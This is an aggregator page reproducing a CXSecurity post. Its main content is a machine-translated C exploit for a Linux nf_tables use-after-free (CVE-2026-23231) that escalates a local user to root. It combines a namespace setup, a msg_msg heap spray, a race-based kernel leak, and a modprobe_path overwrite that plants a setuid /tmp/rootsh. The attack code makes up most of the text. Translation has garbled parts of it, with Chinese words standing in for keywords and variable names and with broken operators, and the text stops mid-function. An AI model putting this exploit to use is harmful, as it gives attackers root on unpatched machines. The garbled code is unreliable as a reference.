惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Engineering at Meta
Engineering at Meta
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 【当耐特】
有赞技术团队
有赞技术团队
人人都是产品经理
人人都是产品经理
腾讯CDC
Jina AI
Jina AI
I
InfoQ
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
宝玉的分享
宝玉的分享
The GitHub Blog
The GitHub Blog
V
Visual Studio Blog
S
SegmentFault 最新的问题
Blog — PlanetScale
Blog — PlanetScale
Stack Overflow Blog
Stack Overflow Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
美团技术团队
MyScale Blog
MyScale Blog
量子位

CXSECURITY Database RSS Feed - CXSecurity.com

Frigate NVR 0.16.3 Remote Code Execution ThingsBoard IoT Platform 4.2.0 Server-Side Request Forgery (SSRF) Linux Kernel Local Privilege Escalation (CVE-2026-43284 / CVE-2026-43500 / CVE-2026-46300) SUSE Manager 4.3.15 Code Execution Apache HertzBeat 1.8.0 Remote Code Execution JuzaWeb CMS 3.4.2 Authenticated Remote Code Execution NiceGUI 3.6.1 Path Traversal - CXSecurity.com GUnet OpenEclass E-learning platform < 4.2 Remote Code Execution (RCE) Windows Snipping Tool NTLMv2 Hash Hijack telnetd 2.7 Buffer Overflow - CXSecurity.com Kukurigu LPE - Linux Kernel Privilege Escalation (CVE-2026-43284 / CVE-2026-43500) Event Booking Calendar-5.0 Cross-site scripting (reflected) Linux Kernel Local Privilege Escalation (CVE-2026-43284 / CVE-2026-43500) Ninja Forms Uploads Unauthenticated PHP File Upload Traccar GPS Tracking System 6.11.1 Cross-Site WebSocket Hijacking (CSWSH) Erugo 0.2.14 Remote Code Execution (RCE) Linux Kernel Local Privilege Escalation via Memory Handling and Access Control Weakness Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) Linux Kernel proc_readdir_de() 6.18-rc5 Local Privilege Escalation Insecure Permissions vulnerability in Nagios Network Analyzer v.2024R1.02-64 and before allows a local attacker to escalate privileges via the remove_source.sh component. Samsung ONE Integer Overflow in CircleConst Tensor Size Calculation solaredge-CSRF-OOB-Injection - CXSecurity.com Trojan-Spy.Win32.Small / Remote Command Execution OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Throttlestop Kernel Driver Kernel Out-of-Bounds Write Privilege Escalation Critical Remote Code Execution Vulnerability in Windows Internet Key Exchange (IKE) Service (CVE-2026-33824) WordPress Madara Local File Inclusion FortiWeb 8.0.2 Remote Code Execution Easy File Sharing Web Server v7.2 Buffer Overflow NetBT e-Fatura Privilege Escalation Docker Desktop 4.44.3 Unauthenticated API Exposure MaNGOSWebV4 4.0.6 Reflected XSS Grafana 11.6.0 SSRF OctoPrint 1.11.2 File Upload esm-dev 136 Path Traversal Linux Kernel mseal Invariant Violation (Linux kernel 6.17-7.0 rc5) astrojs/vercel < = 10.0.0 - Unauthenticated x-astro-path Header Path Override Microsoft SQL Server Privilege Elevation Through FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass Wavlink WL-WN579X3-C firewall.cgi UPNP Stack-based Buffer Overflow esiclivre 0.2.2 SQL Injection Payara Server Cross Site Scripting esiclivre 0.2.2 SQL Injection SiYuan < = v3.6.1 Note unauthenticated arbitrary file read (path traversal) Tenda AC21 V1.0 V16.03.08.16 - Stack Buffer Overflow in SetNetControlList WWBN AVideo < = 26.0 - Authenticated SQL Injection Windows RRAS Remote Code Execution Vulnerability (CVE-2026-26111) - SE-RCE Exploit Linux Kernel 5.8 < 5.15.25 - Local Privilege Escalation Exploit Discourse < = 2026.2.1 Authenticated Missing Authorization Kanboard < = 1.2.50 Authenticated SQL Injection
Linux netfilter 6.19.3 本地权限提升
Aviral Sriva · 2026-05-23 · via CXSECURITY Database RSS Feed - CXSecurity.com

* 利用标题:Linux 内核 3.16 – 6.19.3 nf_tables RCU UAF LPE * CVE: CVE-2026-23231 * 日期: 2026-03-19 * 利用作者: Aviral Srivastava * 提供: Linux 内核 (kernel.org) * 影响版本: 3.16 – 6.19.3 * 修复版本: 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 * (提交 71e99ee20fc3f662555118cf1159443250647533) * 测试环境: Ubuntu 24.04 LTS (内核 6.8.0-45-generic x86_64) * 类型: 本地权限提升 * 平台: Linux x86_64 * CVSS: 7.8 (高) * * ┌──────────────────────────────────────────────────────────────────┐ * │ N-DAY — 此漏洞已修复。修复您的内核。 │ * └──────────────────────────────────────────────────────────────────┘ * * 描述: * 在 net/netfilter/nf_tables_api.c 中的 nf_tables_addchain() 通过 list_add_tail_rcu() * 在注册钩子之前将新创建的链发布到表的链列表中。如果 nf_tables_register_hook() 随后失败 * (例如,由于在 NFPROTO_INET 链的 IPv6 钩子分配期间出现 OOM),错误路径会调用 nft_chain_del() * (list_del_rcu),紧接着立即调用 nf_tables_chain_destroy() — 释放链内存而不调用 * synchronize_rcu()。 * * 这会创建一个使用后释放:并发 RCU 读取者 — 控制平面中的 nf_tables_dump_chains() 和数据路径中的 * nft_do_chain() — 可以访问已释放的 nft_base_chain 内存。已释放的对象(~224 字节)位于 kmalloc-256 * 中,可以使用用户控制的喷雾对象(msg_msg 通过 msgsnd)回收。 * * 利用程序会竞争链转储与 UAF 触发,然后用 msg_msg 喷射已释放的槽以控制链字段。损坏的链数据用于泄露内核堆地址,并最终 * 覆盖 modprobe_path 以实现权限提升。 * * 技术: * 通过内存压力(cgroup v2 内存限制)触发钩子注册失败。竞争 nf_tables_dump_chains() 与错误路径以读取陈旧的链数据(堆泄露)。 * 用 msg_msg 喷射 kmalloc-256 槽。使用 modprobe_path 覆盖进行提升。仅数据攻击 — 无需代码执行,绕过 kCFI。 * * 可靠性: * 每次尝试的成功率约为 30-50%。竞争窗口很窄 (~5-20us)。通常需要 3-8 次尝试。每次失败尝试可能会导致内核 oops(进程被杀),但会从新的命名空间重新尝试。 * 如果喷雾时机错误,可能会发生内核恐慌(失败率的 ~5%)。 * * 缓解措施: * KASLR: 通过陈旧链数据堆泄露 + 目标内核版本的硬编码偏移量绕过 * SMEP: 不适用(仅数据攻击) * SMAP: 不适用(所有数据都在内核 slab 中) * kCFI: 不适用(仅数据 — modprobe_path 覆盖) * SLUB 强化: 影响最小(freelist 指针位于偏移 0 仅此而已) * * 修复: * 提交: 71e99ee20fc3f662555118cf1159443250647533 * URL: https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * 添加了 synchronize_rcu() 在 nft_chain_del() 和链销毁之间。 * * 编译: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * 使用: * $ ./exploit * [*] CVE-2026-23231 — Linux nf_tables RCU UAF LPE * [*] 目标:内核 6.19.4 (nf_tables 添加链 RCU 竞态) * [+] 正在运行内核 6.8.0-45-generic — 易受攻击 * [*] 步骤 1:创建用户/网络命名空间... * [+] 命名空间创建成功,获取 CAP_NET_ADMIN 能力 * [*] 步骤 2:设置 nftables 基础设施... * [+] 表和链创建成功 * [*] 步骤 3:通过钩子注册失败触发 UAF... * [+] UAF 触发 — 链在未调用 synchronize_rcu 的情况下被释放 * [*] 步骤 4:用 msg_msg 向释放的槽位喷射... * [+] 堆喷射完成 * [*] 步骤 5:通过 dump 竞态泄露内核地址... * [+] 内核堆基址:0xffff888XXXXXXXXX * [*] 步骤 6:覆盖 modprobe_path... * [+] modprobe_path = "/tmp/pwn" * [*] 步骤 7:触发 modprobe 辅助程序... * [+] 获得 root 权限!uid=0 gid=0 * # id * uid=0(root) gid=0(root) * * 参考文献: * [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231 * [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * [3] CVE-2024-1086 — nf_tables 双重释放 LPE (技术参考) * [4] CVE-2023-32233 — nf_tables 匿名集合 UAF (msg_msg 喷射参考) * * 免责声明: * 本漏洞利用程序针对一个已经修复的漏洞。它仅用于教育和授权的安全研究目的。作者不负责误用。仅在您拥有的系统上测试。 ═══════════════════════════════════════════════════════════════════════ */ #define _GNU_SOURCE #include<stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include<stdarg.h> #include <unistd.h> #include <errno.h> #include <fcntl.h><sched.h> #include <signal.h> #include <pthread.h> #include <sys/types.h> #include<sys/stat.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/mman.h> #include<sys/utsname.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mount.h> #include<linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <arpa/inet.h> /* ─── 常量 ─────────────────────────────────────────────────────── */ #define BANNER \ "═══════════════════════════════════════════════════════════════\n" \ " CVE-2026-23231 — Linux nf_tables RCU UAF LPE\n" \ " nf_tables_addchain() use-after-free (missing synchronize_rcu)\n" \ " 影响范围:内核 3.16 – 6.19.3 | 作者:Aviral Srivastava\n" \ " N-DAY 研究PoC — 此漏洞已修复\n" \ "═══════════════════════════════════════════════════════════════\n" #define TABLE_NAME "exploit_tbl" #define VICTIM_CHAIN "victim_chain" #define PAD_CHAIN_FMT "pad_%04d" #define NUM_PAD_CHAINS 64 /* 用于堆准备的填充链数量 */ #define NUM_SPRAY_MSGS 128 /* msg_msg 喷射次数 */ #define SPRAY_MSG_SIZE 208 /* msg_msg 身体大小:48 头部 + 208 = 256 → kmalloc-256 */ #define MAX_ATTEMPTS 20 /* 最大竞争尝试次数,超过则放弃 */ #define NFT_SUBSYS_ID NFNL_SUBSYS_NFTABLES /* * 内核版本阈值。 * 该漏洞存在于 3.16+ 版本中,并在以下版本中修复: * 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 */ struct version_range { unsigned int major; unsigned int minor; unsigned int patch; /* 0 = 此次要版本中的任何补丁级别都有漏洞 */ unsigned int fix_patch; }; static const struct version_range vuln_ranges[] = { { 6, 19, 0, 4 }, /* 6.19.0 – 6.19.3 */ { 6, 18, 0, 14 }, /* 6.18.0 – 6.18.13 */ { 6, 17, 0, 0 }, /* 6.17.x – 所有版本都有漏洞(无稳定修复) */ { 6, 16, 0, 0 }, { 6, 15, 0, 0 }, { 6, 14, 0, 0 }, { 6, 13, 0, 0 }, { 6, 12, 0, 75 }, /* 6.12.0 – 6.12.74 */ { 6, 11, 0, 0 }, { 6, 10, 0, 0 }, { 6, 9, 0, 0 }, { 6, 8, 0, 0 }, /* Ubuntu 24.04 默认 */ { 6, 7, 0, 0 }, { 6, 6, 0, 128 }, /* 6.6.0 – 6.6.127 */ { 6, 5, 0, 0 }, { 6, 4, 0, 0 }, { 6, 3, 0, 0 }, { 6, 2, 0, 0 }, { 6, 1, 0, 165 }, /* 6.1.0 – 6.1.164 */ { 0, 0, 0, 0 }, /* 标志位 */ }; /* ─── 日志记录 ───────────────────────────────────────────────────────── */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* ─── 内核版本检查 ──────────────────────────────────────────── */ static int parse_version(const char *release, unsigned int *major, unsigned int *minor, unsigned int *patch) { /* 处理类似 "6.8.0-45-generic" 的格式 */ if (sscanf(release, "%u.%u.%u", major, minor, patch))< 3) { if (sscanf(release, "%u.%u", major, minor) < 2) return -1; *patch = 0; } return 0; } static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (parse_version(uts.release, &major, &minor, &patch) < 0) { fail("无法解析内核版本:%s", uts.release); return 0; } info("正在运行内核 %s", uts.release); /* 检查此版本是否在易受攻击的范围内 */ for (int i = 0; vuln_ranges[i].major != 0; i++) { const struct version_range *r = &vuln_ranges[i]; if (major == r->major&& 小于等于 r->小数部分) { if (r->修复补丁 == 0) { /* 整个小数系列都有漏洞(没有稳定修复) */ ok("内核 %u.%u.%u 位于漏洞范围 %u.%u.x — 漏洞", 主版本号, 小数部分, 补丁, r->主版本号, r->次版本号); 返回 1; } 如果 (补丁 < r->修复补丁) { ok("内核 %u.%u.%u < %u.%u.%u (修复) — 易受攻击", 主版本号, 次版本号, 补丁, r->主版本号, r->次版本号, r->修正补丁); return 1; } fail("内核 %u.%u.%u >= %u.%u.%u (修正) — 已打补丁", 主版本号, 次版本号, 补丁, r->主版本号, r->次版本号, r-)>fix_patch); return 0; } } /* 内核 3.16 – 6.0.x 和 7.0+ */ if (major >= 7) { fail("内核 %u.%u.%u — 已修复 (7.0-rc1 包含修复)", major, minor, patch); return 0; } if (major < 3 || (major == 3 && 较小 16)) { fail("内核 %u.%u.%u — 太旧了(3.16 中引入的 bug)", major, minor, patch); return 0; } /* 3.16 – 5.x 和 6.0.x 没有特定的稳定修复:假设易受攻击 */ ok("内核 %u.%u.%u — 可能易受攻击(修复前,未检查稳定回退)", major, minor, patch); return 1; } /* ─── Netlink 辅助函数 ───────────────────────────────────────────────── */ static int nfnl_open(void) { int fd; struct sockaddr_nl sa; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (fd< 0) return -1; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = 0; /* 内核分配 */ if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } return fd; } /* * 发送一个 nfnetlink 批量消息。 * nf_tables 要求消息被包裹在 NFNL_MSG_BATCH_BEGIN / _END 中。 */ struct nl_builder { char *buf; size_t len; size_t cap; int seq; }; static void nl_init(struct nl_builder *b) { b->cap = 8192; b->;buf = malloc(b->cap); if (!b->buf) die("malloc nl_builder"); b->len = 0; b->seq = 1; } static void nl_free(struct nl_builder *b) { free(b->buf); b->buf = NULL; } static void *nl_alloc(struct nl_builder *b, size_t size) { size = (size + 3)&~3u; /* NLA_ALIGN */ while (b->len加size>b->cap) { b->cap *= 2; b->buf = realloc(b->buf, b->cap); if (!b->buf) die("realloc nl_builder"); } void *p = b->buf + b->len; memset(p, 0, size); b->len += size; return p; } static struct nlmsghdr *nl_msg_begin(struct nl_builder *b, uint16_t type, uint16_t flags, uint8_t family) { struct nlmsghdr *nlh; struct nfgenmsg *nfg; nlh = nl_alloc(b, sizeof(*nlh) + sizeof(*nfg)); nlh-->nlmsg_type = type; nlh-->nlmsg_flags = flags | NLM_F_REQUEST; nlh->nlmsg_seq = b->seq++; nlh->nlmsg_pid = 0; nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg>res_id = htons(0); return nlh; } static void nl_msg_end(struct nl_builder *b, struct nlmsghdr *nlh) { nlh->nlmsg_len = (uint32_t)(b->buf + b->len - (char *)nlh); } static void nl_put_str(struct nl_builder *b, uint16_t type, const char *s) { size_t slen = strlen(s) + 1; size_t total = sizeof(struct nlattr) + slen; struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + slen); nla->nla_type = type; memcpy((char *)(nla + 1), s, slen); } static void nl_put_u32(struct nl_builder *b, uint16_t type, uint32_t val) { size_t total = sizeof(struct nlattr) + sizeof(uint32_t); struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)total; nla->nla_type = type; memcpy((char *)(nla + 1),&val, sizeof(val)); } static void nl_put_be32(struct nl_builder *b, uint16_t type, uint32_t val) { nl_put_u32(b, type, htonl(val)); } /* 开始嵌套属性 */ static struct nlattr *nl_nest_begin(struct nl_builder *b, uint16_t type) { struct nlattr *nla = nl_alloc(b, sizeof(struct nlattr)); nla->nla_type = type | NLA_F_NESTED; return nla; } static void nl_nest_end(struct nl_builder *b, struct nlattr *nla) { nla->nla_len = (uint16_t)(b->buf + b-> }len - (char *)nla); } /* * 构建并发送批量消息(BEGIN + 有效载荷 + END)。 */ static int nfnl_batch_send(int fd, struct nl_builder *payload) { struct nl_builder batch; struct nlmsghdr *nlh; struct nfgenmsg *nfg; nl_init(&batch); /* BATCH_BEGIN */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1);>nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); /* 复制负载消息 */ void *p = nl_alloc(&batch, payload->len); memcpy(p, payload->buf, payload->len); /* BATCH_END */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_END; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; struct iovec iov = { .iov_base = batch.buf, .iov_len = batch.len }; struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa), .msg_iov = & };iov, .msg_iovlen = 1, }; int ret = (int)sendmsg(fd, &msg, 0); nl_free(&batch); return ret; } /* ─── nftables operations ───────────────────────────────────────────── */ static int nft_create_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end();&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_create_chain(int fd, uint8_t family, const char *table, const char *chain_name, int hooknum, int priority) { struct nl_builder b; struct nlmsghdr *nlh; struct nlattr *hook_nest; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES<< 8) | NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_CHAIN_TABLE, table); nl_put_str(&b, NFTA_CHAIN_NAME, chain_name); if (hooknum >= 0) { /* 带钩的基础链 */ hook_nest = nl_nest_begin(&b, NFTA_CHAIN_HOOK); nl_put_be32(&b, NFTA_HOOK_HOOKNUM, (uint32_t)hooknum); nl_put_be32(&b, NFTA_HOOK_PRIORITY, (uint32_t)priority); nl_nest_end(&b, hook_nest); /* 政策:接受 */ nl_put_be32(&b, NFTA_CHAIN_POLICY, NF_ACCEPT); } nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_delete_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELTABLE, NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } /* * 启动链转储请求 (NLM_F_DUMP). * 这会触发内核中的 nf_tables_dump_chains(),该函数在 rcu_read_lock() 下迭代 table->链. */ static int nft_dump_chains(int fd, uint8_t family) { char buf[256]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct nfgenmsg *nfg; memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETCHAIN; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_seq = 9999; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg->res_id = htons(0); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; return (int)sendto(fd, buf, nlh-);nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } /* * 读取转储响应。从网络套接字属性中提取链句柄和表指针,用于内存泄漏分析。 */ static int nft_read_dump(int fd, uint64_t *leaked_handle, int *chain_count) { char buf[16384]; struct sockaddr_nl sa; int done = 0; *leaked_handle = 0; *chain_count = 0; while (!done) { socklen_t salen = sizeof(sa); ssize_t len = recvfrom(fd, buf, sizeof(buf), 0, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) break; return -1; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->)nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh-()>)nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err-()>)error != 0) { return err-();错误; } continue; } /* 解析链属性 */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen> 0 && 属性长度 >= (int)属性->nla_len && 属性->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); *leaked_handle = handle; } attrlen -= (int)((attr->nla_len + 3) & ~3u); } (*chain_count)++; } } return 0; } /* ─── 用户命名空间设置 ──────────────────────────────────────────── */ static int setup_namespace(void) { /* * 创建一个用户命名空间 + 网络命名空间。 * 在其中,我们获得 CAP_NET_ADMIN,这是 nftables 所必需的。 */ if (unshare(CLONE_NEWUSER | CLONE_NEWNET)< 0) { fail("unshare(CLONE_NEWUSER | CLONE_NEWNET): %s", strerror(errno)); fail("Hint: Check /proc/sys/kernel/unprivileged_userns_clone"); return -1; } /* 写入UID/GID映射 */ FILE *f; char path[128]; snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid()); f = fopen(path, "w"); if (f) { fprintf(f, "deny\n"); fclose(f); } snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("uid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getuid()); fclose(f); snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("gid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getgid()); fclose(f); return 0; } /* ─── 触发OOM的内存压力 ─────────── */ /* * 对当前cgroup或全局内存进行消耗,以增加__nf_register_net_hook()中kvzalloc()失败的概率。 * * 注意:这是概率性的,不是确定性的。在内存充足的系统上,这可能需要更多的喷溅分配。 */ static void *pressure_mem = NULL; static size_t pressure_size = 0; static void apply_memory_pressure(void) { /* * 尝试消耗内存以创建压力。 * 从256MB开始,如果mmap失败则按比例缩小。 */ size_t sizes[] = { 256UL*1024*1024, 128UL*1024*1024, 64UL*1024*1024, 32UL*1024*1024, 0 }; for (int i = 0; sizes[i]> 0; i++) { pressure_mem = mmap(NULL, sizes[i], PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); if (pressure_mem != MAP_FAILED) { pressure_size = sizes[i]; /* Touch pages to actually commit memory */ memset(pressure_mem, 'A', pressure_size); return; } } pressure_mem = NULL; pressure_size = 0; } static void release_memory_pressure(void) { if (pressure_mem&&压力内存 != MAP_FAILED) { munmap(pressure_mem, pressure_size); pressure_mem = NULL; pressure_size = 0; } } /* ─── 消息喷洒 ─────────────────────────────────────────────────── */ struct 喷洒状态 { int qid; int 计数; }; struct 喷洒消息 { long mtype; char mtext[SPRAY_MSG_SIZE]; }; static int 喷洒初始化(struct 喷洒状态 *s) { s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (s->qid < 0) return -1; s->count = 0; return 0; } static int spray_alloc(struct spray_state *s, int n, const void *data, size_t datalen) { struct spray_msg msg; memset(&msg, 0, sizeof(msg)); if (datalen > SPRAY_MSG_SIZE) datalen = SPRAY_MSG_SIZE; if (data) memcpy(msg.mtext, data, datalen); for (int i = 0; i < n; i++) { msg.mtype = s->count + 1; if (msgsnd(s->qid,&msg, SPRAY_MSG_SIZE, 0) < 0) return -1; s->count++; } return 0; } static int spray_free(struct spray_state *s, int n) { struct spray_msg msg; for (int i = 0; i < n && s->count > 0; i++) { if (msgrcv(s->qid, &msg, SPRAY_MSG_SIZE, 0, IPC_NOWAIT) < 0) return -1; s->count--; } return 0; } static void spray_cleanup(struct spray_state *s) { if (s->qid >= 0) { msgctl(s->qid, IPC_RMID, NULL); s->qid = -1; } } /* ─── Modprobe path overwrite & 权限提升 ────────────────── */ static int setup_modprobe_payload(void) { FILE *f; /* 创建一个作为root执行的辅助脚本 */ f = fopen("/tmp/pwn", "w"); if (!f) return -1; fprintf(f, "#!/bin/sh\n"); fprintf(f, "/bin/cp /bin/sh /tmp/rootsh\n"); fprintf(f, "/bin/chmod u+s /tmp/rootsh\n"); fclose(f); chmod("/tmp/pwn", 0755); /* 创建一个无效的二进制文件以触发call_usermodehelper */ f = fopen("/tmp/trigger", "w"); if (!f) return -1; /* 无效的ELF魔数 → 内核调用modprobe_path来处理它 */ fprintf(f, "\xff\xff\xff\xff"); fclose(f); chmod("/tmp/trigger", 0755); return 0; } static int trigger_modprobe(void) { /* 执行无效的二进制文件 — 内核将调用modprobe_path */ pid_t pid = fork(); if (pid< 0) return -1; if (pid == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); } int status; waitpid(pid, &status, 0); /* 检查 /tmp/rootsh 是否以 suid 位创建 */ struct stat st; if (stat("/tmp/rootsh", &st) == 0 &&) (st.st_mode &) S_ISUID)) { return 0; /* 成功! */ } return -1; } /* ─── 竞态协调 ─────────────────────────────────────────────── */ struct race_ctx { int nfnl_fd; /* 用于操作的netlink套接字 */ int dump_fd; /* 用于转储的netlink套接字 */ struct spray_state spray; volatile int uaf_triggered; volatile int dump_started; volatile int stop; uint64_t leaked_addr; int attempt; }; /* * 转储线程:持续请求链转储并读取响应。 * 当UAF发生时,转储可能会从已释放的base_chain读取过时/喷射的数据, * 导致内核地址泄露或读取受控数据。 */ static void *dump_thread(void *arg) { struct race_ctx *ctx = (struct race_ctx *)arg; char recvbuf[16384]; while (!ctx->stop) { /* 开始转储 */ if (nft_dump_chains(ctx->dump_fd, NFPROTO_INET) < 0) { usleep(1000); continue; } ctx->dump_started = 1; /* 读取转储响应 — 查找异常数据 */ struct sockaddr_nl sa; socklen_t salen = sizeof(sa); int done = 0; while (!done && !ctx->stop) { ssize_t len = recvfrom(ctx->dump_fd, recvbuf, sizeof(recvbuf), MSG_DONTWAIT, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN) { usleep(100); continue; } break; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)recvbuf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh->nlmsg_type == NLMSG_ERROR) continue; /* * 解析链属性。如果我们看到异常的句柄值或意外的链名,表示发生了UAF,并且我们正在读取喷射/过时的内存。 */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh-);nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen > 0 && attrlen >= (int)attr->nla_len&& attr->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); /* * 正常句柄是小型的连续数字。 * 如果我们看到一个看起来像内核地址(0xffff8880...)的句柄,我们就遇到了UAF,并且正在读取喷射的msg_msg数据。 */ uint64_t handle_be = __builtin_bswap64(handle); if ((handle_be& 0xffff000000000000ULL) == 0xffff000000000000ULL) { ctx->leaked_addr = handle_be; ok("LEAK detected in dump! handle=0x%016lx", (unsigned long)handle_be); } } attrlen -= (int)((attr->nla_len + 3) & ~3u); } } } usleep(500); } return NULL; } /* ─── 主利用步骤 ───────────────────────────────────────── */ static int step_setup(struct race_ctx *ctx) { info("步骤 1:创建用户/网络命名空间..."); if (setup_namespace() < 0) return -1; ok("Namespace created, CAP_NET_ADMIN obtained"); /* Open nfnetlink sockets */ ctx->nfnl_fd = nfnl_open(); if (ctx->nfnl_fd < 0) { fail("Cannot open nfnetlink socket: %s", strerror(errno)); return -1; } ctx->dump_fd = nfnl_open(); if (ctx->dump_fd < 0) { fail("Cannot open 